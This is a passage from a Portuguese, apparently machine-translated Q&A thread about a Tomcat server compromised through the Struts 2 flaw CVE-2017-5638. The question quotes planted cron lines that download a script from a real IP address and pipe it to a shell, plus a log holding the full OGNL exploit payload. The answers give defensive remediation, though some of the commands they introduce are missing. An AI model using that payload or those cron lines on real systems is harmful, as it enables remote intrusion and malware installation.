Ao executar uma guerra de projeto no servidor Apache tomcat, descobri que o servidor foi comprometido.
Enquanto estiver executando a guerra em um desconhecido, cron
está executando assim
[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
O download logo.jpg
possui um script de shell que está baixando um malware.
Encontrei um problema semelhante neste site abaixo
https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/
e
/security/160068/kworker34-malware-on-linux
Não consigo encontrar a origem desse agendador cron em todo o meu código.
O que eu gostaria de saber que alguém enfrentou esse problema? e como devo encontrar a origem do agendador no código.
Nota:
Estou trabalhando em um projeto da web JAVA (Struts 2) + jsp + javascript + jquery.
Esse agendador está em execução sempre que inicio meu tomcat com o arquivo war do projeto, mas não consigo encontrar nenhum agendador para agendador no meu código.
Encontrei a seguinte linha nos meus arquivos de log
[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult
Runtime.getRuntime().exec("something")
)? Você tem um link para o seu projeto?Respostas:
Depois que o OP adicionou os logs, ficou claro que esse problema ocorreu na exploração de Execução Remota de Código do Struts 2 ( CVE-2017-5638 ).
Alguns links adicionais:
A solução é atualizar o Struts para a versão 2.3.32 ou 2.5.10.1.
fonte
Eu já enfrentei problemas semelhantes antes quando era administrador de sistemas. Eu acho que você deve diferenciar se é seu servidor tomcat ou seu aplicativo Java.
Quando você inicia o tomcat sem o "aplicativo Java infectado", o cron está sendo ativado? (Quero dizer, excluir seu aplicativo do Tomcat e iniciá-lo) Nesse caso, você tem um problema maior, precisará verificar os scripts de inicialização e todos os aplicativos implantados no servidor tomcat.
Caso contrário, temos certeza de que seu aplicativo é o problema.
Se for esse o caso, vá para:
Verifique a integridade do seu aplicativo, existem arquivos adicionais que você não reconhece?
Agora vá para o diretório webapps da sua instalação do tomcat:
Nesse diretório, execute:
Para encontrar o possível arquivo / linha de código que causa a infecção, pode ser um arquivo do seu aplicativo ou um novo.
Você tem seu código em um sistema CSV?
Crie o arquivo war fora do servidor infectado a partir do seu repositório CSV e faça:
Remova seu aplicativo do servidor tomcat e reimplante, verifique se você está carregando a guerra correta por meio do md5 e verifique se o crontab está sendo chamado.
Se você enviar comentários sobre essas etapas, teremos prazer em ajudar.
fonte
Nós apenas tivemos que combater esse tipo de ataque em um servidor, ele continuou reiniciando a substituição do crontab para o usuário do tomcat, conforme descrito acima. O endereço IP era idêntico. O grep de todo o diretório de aplicativos da web para o endereço IP não revelou um culpado.
No nosso caso, não usamos struts, mas tínhamos os aplicativos "host-manager" e "manager" nos aplicativos da web e o JMX ativado / porta aberta. Reiniciar sem eles parece ter resolvido, então meu palpite é que a vulnerabilidade pode estar em um deles. Especificamente, havia uma vulnerabilidade JMX corrigida no 7.0.73 que poderia ser nossa culpada ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).
Outra precaução que estamos tomando agora é restringir o acesso ao wget e chmod apenas ao root (basta fazer o chmod 770 nesses binários).
fonte